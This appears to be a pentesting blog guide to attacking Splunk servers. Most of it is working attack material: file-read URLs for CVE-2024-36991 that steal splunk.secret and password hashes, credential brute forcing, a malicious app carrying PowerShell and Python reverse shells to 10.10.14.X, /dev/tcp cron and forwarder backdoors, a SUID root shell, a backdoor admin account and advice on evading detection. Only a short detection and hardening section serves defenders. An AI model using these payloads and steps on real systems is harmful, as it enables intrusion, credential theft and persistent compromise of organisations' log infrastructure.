Splunk Pentesting: CVE-2024-36991, RCE and SYSTEM on 8089

Complete guide to Splunk pentesting: Exploit CVE-2024-36991, recover credentials via splunk.secret, obtain RCE via malicious app, and scale to SYSTEM or root.
- Posted on 2026-06-11
- Reading time: 7 min
Splunk is one of the most widely used SIEM platforms in enterprise environments, and its management REST API on port 8089 makes it a particularly attractive target. It centralizes, indexes, and correlates logs from across the infrastructure, providing access to credentials, authentication events, network topology, and other sensitive data. If compromised, it can quickly lead to code execution with SYSTEM or root privileges. This guide will walk you through the entire Splunk pentesting process: reconnaissance, extraction of encrypted credentials, exploitation of known vulnerabilities, and privilege escalation.
Architecture and Doors #
Splunk is composed of three main elements: the Forwarder (collects logs from endpoints), the Indexer (stores and indexes data), and the Search Head (queries and web interface). Communication between these components passes through specific ports:
| Port | Service | Offensive target |
|---|---|---|
| 8000 | Splunk Web UI (HTTP/HTTPS) | Interface access, app upload |
| 8089 | Splunkd Management (REST API) | Primary target |
| 9997 | Splunk Forwarder | Receiving logs |
| 8191 | Key-Value Store | Optional |
Port 8089 is the one that interests pentester. It exposes a complete REST API for user management, app installation, and search execution. With valid credentials, it becomes a direct vector for Remote Code Execution.
Reconnaissance and Enumeration #
Port scanning #
nmap -p 8000,8089,9997 -sV -sC <target>
nmap -p 8000,8089,9997 -sV --script=http-title,ssl-cert <target>Typical output:
8000/tcp open http Splunk httpd
8089/tcp open ssl/http Splunkd httpd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert
9997/tcp open splunkd Splunk forwarderThe certificate SplunkServerDefaultCert This is an immediate indicator that the instance is not configured correctly.
fingerprinting #
# Versione e info server
curl -sk https://<target>:8089/services/server/info
# Banner grab versione
curl -sk https://<target>:8089/services/server/info | grep version
# Verifica accesso non autenticato (Splunk Free)
curl -sk https://<target>:8089/services/apps/localIf the endpoint responds without credentials, the instance runs in Free mode — no authentication required, direct access to all REST endpoints.
SSL Certificate Analysis #
# Dettagli certificato
openssl s_client -connect <target>:8089 < /dev/null 2>/dev/null \
| openssl x509 -noout -text
# Estrai common name
echo | openssl s_client -connect <target>:8089 2>/dev/null \
| openssl x509 -noout -subject
# Con nmap
nmap -p 8089 --script ssl-cert <target>Shodan #
port:8089 splunk
ssl:"SplunkServerDefaultCert"
http.title:"Splunk"
product:SplunkApproximately 230.000 Splunk instances are publicly exposed — many on vulnerable versions.
Splunk Free — Unauthenticated Access #
# Se risponde senza creds → Splunk Free
curl -sk https://<target>:8089/services/server/info
# Lista app
curl -sk https://<target>:8089/services/apps/local
# Esegui ricerca
SEARCH_ID=$(curl -sk https://<target>:8089/services/search/jobs \
-u admin: \
-d search="search index=* | head 1000" | grep -oP 'sid>\K[^<]+')
sleep 5
curl -sk https://<target>:8089/services/search/jobs/$SEARCH_ID/resultsCVE-2024-36991 — Path Traversal on Splunk Web (Windows) #
This vulnerability (CVSS 7.5) affects Splunk Enterprise on Windows versions prior to 9.2.2, 9.1.5, and 9.0.10. It allows arbitrary file reading without authentication.
Technical cause: os.path.join In Python, removes the drive letter from a path token if it matches the current one.
Requirements: Port 8000 access, Splunk Web enabled.
# Verifica
curl -s "http://<target>:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../Windows/win.ini"
# PoC automatizzato
git clone https://github.com/th3gokul/CVE-2024-36991
python3 cvehunter.py -u http://<target>:8000Useful files to read:
# Chiave crittografica master
http://<target>:8000/en-US/modules/messaging/C:%5CC:%5CProgram%20Files%5CSplunk%5Cetc%5Cauth%5Csplunk.secret
# Hash utenti Splunk
http://<target>:8000/en-US/modules/messaging/C:%5CC:%5CProgram%20Files%5CSplunk%5Cetc%5Cpasswd
# Credenziali LDAP cifrate
http://<target>:8000/en-US/modules/messaging/C:%5CC:%5CProgram%20Files%5CSplunk%5Cetc%5Csystem%5Clocal%5Cauthentication.confFor a complete guide to exploiting Splunk in real-world environments: HTB Haze Walkthrough — Splunk, GMSA Abuse and Privilege Escalation to SYSTEM.
Credential Extraction and Decryption #
Two distinct mechanisms #
1. SHA-512 hash — file etc/passwd For local users:
admin:$6$8FRibWS3...<hash>...:Administrator:admin:admin@example.com::Crack with hashcat -m 1800 — strong passwords don't give in to rockyou.
2. Proprietary encryption — passwords in files .conf (authentication.conf, inputs.conf, outputs.conf). Encrypted with splunk.secret.
splunk.secret — the master key #
# Linux
/opt/splunk/etc/auth/splunk.secret
# Windows
C:\Program Files\Splunk\etc\auth\splunk.secretpip3 install splunksecrets
splunksecrets splunk-decrypt -S splunk.secret --ciphertext '$7$XXXXXXXX...'Where to find encrypted passwords #
find . -name "*.conf" | xargs grep -l "password\|bindDNpassword\|\$7\$" 2>/dev/null
# File tipici
# etc/system/local/authentication.conf → bind LDAP password
# etc/apps/*/local/inputs.conf → DB connections, API keys
# etc/apps/*/local/outputs.conf → forwarding credentialsauthentication.conf in local/ often contains the LDAP bind password — encrypted with splunk.secret and completely decryptable.
Default and Brute Force Credentials #
curl -sk -u admin:changeme https://<target>:8089/services/server/info
curl -sk -u admin:admin https://<target>:8089/services/server/info
curl -sk -u admin:splunk https://<target>:8089/services/server/info# Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
-s 8089 <target> https-get /services/server/info
# Metasploit
use auxiliary/scanner/http/splunk_login
set RHOSTS <target>
set RPORT 8089
set USERNAME admin
set PASS_FILE /usr/share/wordlists/rockyou.txt
runRemote Code Execution via Malicious App #
Splunk automatically runs scripts contained in installed apps—Python, PowerShell, Bash, and Batch. Admin credentials provide a shell in the context of the service.
Malicious app structure #
reverse_shell_splunk/
├── bin/
│ └── run.ps1
└── default/
├── app.conf
└── inputs.confapp.conf #
[install]
is_configured = true
[ui]
is_visible = false
label = System Monitor
[launcher]
author = System
description = System monitoring application
version = 1.0inputs.conf #
[script://$SPLUNK_HOME/etc/apps/reverse_shell_splunk/bin/run.ps1]
disabled = 0
interval = 10
sourcetype = shell
index = mainrun.ps1 (Windows) #
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.X', 4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i)
$sendback = (iex $data 2>&1 | Out-String)
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte, 0, $sendbyte.Length)
$stream.Flush()
}
$client.Close()rev.py (Linux) #
#!/usr/bin/env python3
import sys, socket, os, pty
ip = "10.10.14.X"
port = 4444
s = socket.socket()
s.connect((ip, int(port)))
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
pty.spawn('/bin/bash')Deploy #
tar -czf reverse_shell.tar.gz reverse_shell_splunk/
nc -lvnp 4444
# Via REST API
curl -sk -u admin:PASSWORD \
https://<target>:8089/services/apps/local \
-F "name=reverse_shell_splunk" \
-F "appfile=@reverse_shell.tar.gz" \
-F "update=true"
# Via Web UI: Apps → Manage Apps → Install app from fileOther RCE methods #
SPL injection (if custom apps configured):
index=main | eval cmd="whoami" | outputlookup cmd_output.csv
| script python script_name.pySplunkWhisperer2 — automated with cleanup:
git clone https://github.com/cnotin/SplunkWhisperer2.git
cd SplunkWhisperer2 && pip3 install requests
python3 PySplunkWhisperer2_remote.py \
--host <target> --lhost <attacker> --lport 4444 \
--username admin --password PASSWORDmetasploit:
use exploit/multi/http/splunk_upload_app_exec
set RHOSTS <target>
set RPORT 8089
set USERNAME admin
set PASSWORD PASSWORD
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <attacker>
exploitPrivilege Escalation #
Linux — Splunk runs as root #
On Linux Splunk runs by default as root — shell via app = direct root.
Method 1 — SUID binary via app:
mkdir -p /opt/splunk/etc/apps/privesc/bin
cat > /tmp/shell.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void) {
setuid(0); setgid(0);
system("/bin/bash -p");
return 0;
}
EOF
gcc /tmp/shell.c -o /tmp/suid_shell
cat > /opt/splunk/etc/apps/privesc/default/inputs.conf << 'EOF'
[script://$SPLUNK_HOME/etc/apps/privesc/bin/setup.sh]
disabled = 0
interval = 10
sourcetype = setup
EOF
cat > /opt/splunk/etc/apps/privesc/bin/setup.sh << 'EOF'
#!/bin/bash
cp /tmp/suid_shell /tmp/root_shell
chmod 4755 /tmp/root_shell
EOF
chmod +x /opt/splunk/etc/apps/privesc/bin/setup.sh
/opt/splunk/bin/splunk restart
/tmp/root_shellMethod 2 — Splunk Universal Forwarder:
# Se il forwarder gira come root e puoi scrivere in deployment-apps
mkdir -p /opt/splunkforwarder/etc/deployment-apps/privesc/bin
mkdir -p /opt/splunkforwarder/etc/deployment-apps/privesc/default
cat > /opt/splunkforwarder/etc/deployment-apps/privesc/bin/shell.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.X/4444 0>&1
EOF
chmod +x /opt/splunkforwarder/etc/deployment-apps/privesc/bin/shell.sh
cat > /opt/splunkforwarder/etc/deployment-apps/privesc/default/inputs.conf << 'EOF'
[script://./bin/shell.sh]
disabled = 0
interval = 10
sourcetype = shell
EOF
/opt/splunkforwarder/bin/splunk reload deploy-serverMethod 3 — Cron job:
ls -la /etc/cron.d/ | grep splunk
echo '* * * * * root /tmp/backdoor.sh' > /etc/cron.d/splunk_privesc
cat > /tmp/backdoor.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.X/5555 0>&1
EOF
chmod +x /tmp/backdoor.shWindows — Splunk runs as SYSTEM #
Method 1 — Service manipulation:
sc config Splunkd binPath= "cmd.exe /c net user hackita Password123! /add"
sc stop Splunkd && sc start Splunkd
net localgroup administrators hackita /addMethod 2 — DLL Hijacking:
# Trova directory scrivibili nel PATH di Splunk
Get-ChildItem "C:\Program Files\Splunk" -Recurse |
Where-Object {$_.PSIsContainer} | ForEach-Object {$_.FullName}
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker> LPORT=4444 -f dll -o splunk.dll
Copy-Item splunk.dll "C:\Program Files\Splunk\bin\"
Restart-Service SplunkdIn an Active Directory environment, having SYSTEM on a joined host opens up advanced scenarios such as DPAPI domain backup key dump—a technique covered in detail in the DPAPI exploitation guide . Credentials extracted with Mimikatz can then be used for lateral movement.
Data Exfiltration #
# Crea job di ricerca
SEARCH_JOB=$(curl -sk -u admin:PASSWORD \
https://<target>:8089/services/search/jobs \
-d search='search index=* password | head 1000' \
-d output_mode=json | jq -r '.sid')
# Esporta in CSV/JSON/XML
curl -sk -u admin:PASSWORD \
"https://<target>:8089/services/search/jobs/$SEARCH_JOB/results?output_mode=csv" > dump.csvUseful SPL queries:
index=* password OR pass OR pwd | table _time, host, source, _raw
index=* "BEGIN RSA PRIVATE KEY" OR "BEGIN OPENSSH PRIVATE KEY" | table _time, source, _raw
index=* (aws_access_key_id OR aws_secret_access_key) | table _time, _raw
index=* sourcetype=WinEventLog EventCode=4624 | table _time, host, user, src_ip
index=* sourcetype=netstat | table _time, host, src_ip, dest_ip, dest_portLateral movement via log:
# Credenziali nei log
index=* password | table host, source, password
# Trova altre istanze Splunk
index=* sourcetype=splunkd | stats count by host
# Sistemi ad alto valore
index=* (database OR sql OR oracle OR dc OR domain) | stats values(host)Post-Exploitation #
Credential extraction #
# Da passwd (hash SHA-512)
cat /opt/splunk/etc/passwd
grep -v "^#" /opt/splunk/etc/passwd | cut -d: -f2 > hashes.txt
hashcat -m 1800 hashes.txt /usr/share/wordlists/rockyou.txt
# Da app configurations
grep -r "password" /opt/splunk/etc/apps/*/local/*.conf
grep -r "bindDNpassword" /opt/splunk/etc/apps/*/local/*.conf
# inputs.conf → DB e API key
# outputs.conf → forwarding credentials
# authentication.conf → LDAP passwordsPersistence #
Backdoor user via API #
curl -sk -u admin:PASSWORD \
https://<target>:8089/services/authentication/users \
-d name=hackita \
-d password='H@ckita2k24!' \
-d roles=admin
# Verifica
curl -sk -u hackita:'H@ckita2k24!' https://<target>:8089/services/server/infoPersistent beacon app #
cat > malicious_app/bin/beacon.sh << 'EOF'
#!/bin/bash
while true; do
bash -i >& /dev/tcp/10.10.14.X/4444 0>&1 2>/dev/null
sleep 3600
done
EOF[script://$SPLUNK_HOME/etc/apps/malicious_app/bin/beacon.sh]
disabled = 0
interval = 3600
sourcetype = beaconMalicious scheduled search #
curl -sk -u admin:PASSWORD \
https://<target>:8089/services/saved/searches \
-d name=SystemHealthCheck \
-d search='| script python /tmp/beacon.py' \
-d cron_schedule='*/30 * * * *'MITER ATT&CK mapping #
| Technology | ID | Description |
|---|---|---|
| Public-Facing Application Exploit | T1190 | CVE-2024-36991 without auth |
| Valid Accounts | T1078 | Credentials extracted/default |
| PowerShell | T1059.001 | Shell via scripted inputs PS1 |
| Python | T1059.006 | Shell via scripted inputs Python |
| Deploy Tool via Third-Party | T1072 | Malicious app via REST API |
| OS Credential Dumping | T1003 | splunk.secret + passwd |
| Data from Information Repositories | T1213 | Log exfiltration via SPL |
| Create Account | T1136 | Backdoor user via API |
| Scheduled Task/Job | T1053 | Scheduled persistent search |
OPSEC Notes #
Deploying an app leaves traces in _internal e _auditCountermeasures:
- Legitimate app names:
system_monitor,health_check,ta_windows_updates is_visible = falseinapp.conf- Delete the app after the shell:
curl -sk -u admin:PASS -X DELETE https://<target>:8089/services/apps/local/<nome> - Minimum interval 10s — do not lower it
- SplunkWhisperer2 handles cleanup automatically
- Always use HTTPS on 8089, not HTTP on 8000
Detection — Blue Team #
| Indicator | SPL Query |
|---|---|
| Installation app | index=_internal source=*splunkd.log* "Installing app" |
| Script execution | index=_internal component=ExecProcessor |
| Suspicious login | index=_audit action=login status=success |
| New user | index=_audit action=edit object=authentication/users |
| Edit roles | index=_audit action=edit object=authorization/roles |
| CVE-2024-36991 | index=_internal source=*splunkd_access.log* uri="*/modules/messaging/*" |
Hardening #
# Bind solo localhost
# web.conf
[settings]
server.socket_host = 127.0.0.1
enableSplunkWebSSL = true
# server.conf
[sslConfig]
sslVerifyServerCert = true
requireClientCert = true
# Firewall
ufw deny 8000/tcp
ufw deny 8089/tcp
ufw allow from 192.168.1.0/24 to any port 8089Cheat sheet #
# VERSIONE
curl -sk https://<target>:8089/services/server/info | grep version
# CREDENZIALI DEFAULT
admin:changeme / admin:admin / admin:splunk
# BRUTE FORCE
hydra -l admin -P rockyou.txt -s 8089 <target> https-get /services/server/info
# LFI (CVE-2024-36991)
curl -s "http://<target>:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../Program%20Files/Splunk/etc/auth/splunk.secret"
# DECRYPT
splunksecrets splunk-decrypt -S splunk.secret --ciphertext '$7$...'
# LIST USERS
curl -sk -u admin:PASS https://<target>:8089/services/authentication/users?output_mode=json
# LIST APPS
curl -sk -u admin:PASS https://<target>:8089/services/apps/local?output_mode=json
# RCE
tar -czf shell.tar.gz reverse_shell_splunk/
curl -sk -u admin:PASS https://<target>:8089/services/apps/local \
-F "name=reverse_shell_splunk" -F "appfile=@shell.tar.gz" -F "update=true"
# CREA UTENTE
curl -sk -u admin:PASS https://<target>:8089/services/authentication/users \
-d name=hackita -d password='H@ckita2k24!' -d roles=admin
# METASPLOIT
use exploit/multi/http/splunk_upload_app_execImportant files:
# Linux
/opt/splunk/etc/passwd
/opt/splunk/etc/auth/splunk.secret
/opt/splunk/etc/system/local/authentication.conf
/opt/splunk/etc/apps/*/local/inputs.conf
# Windows
C:\Program Files\Splunk\etc\passwd
C:\Program Files\Splunk\etc\auth\splunk.secret
C:\Program Files\Splunk\etc\system\local\authentication.confFAQ #
What is Splunk port 8089? It's the Splunkd management port—it exposes the full REST API for user management, app installation, and authentication. It's the primary target during penetration testing on Splunk environments.
How do I get RCE on Splunk?
Using admin credentials, a malicious app containing a PowerShell or Python script configured in inputs.conf as scripted input. Splunk runs it automatically every 10 seconds.
Is CVE-2024-36991 still exploitable?
Yes, on versions prior to 9.2.2, 9.1.5, and 9.0.10 on Windows with Splunk Web enabled. Allows arbitrary file reading without authentication—including splunk.secret e authentication.conf.
What does splunk.secret contain?
The master AES key used by Splunk to encrypt all passwords in configuration files. This file decrypts LDAP, DB, and API keys stored in any database. .conf.
Does Splunk RCE always give SYSTEM?
On Windows, yes — the service Splunkd Runs as SYSTEM by default. On Linux, it runs as root. The shell obtained via app deployment directly inherits that context.
Splunk in Action — Real-World Case Study #
All the techniques described in this guide were applied on HTB Haze , a Windows hard disk with Splunk Enterprise installed on a domain controller. The complete walkthrough: HTB Haze Walkthrough — Splunk, GMSA Abuse, and Privilege Escalation to SYSTEM.
Resources #
- VeryLazyTech — Splunkd Port 8089: https://www.verylazytech.com/splunkd-port-8089
- SplunkWhisperer2: https://github.com/cnotin/SplunkWhisperer2
- CVE-2024-36991 PoC: https://github.com/th3gokul/CVE-2024-36991
- Splunk Advisory SVD-2024-0711: https://advisory.splunk.com/advisories/SVD-2024-0711.html
Educational guide for authorized penetration testing.








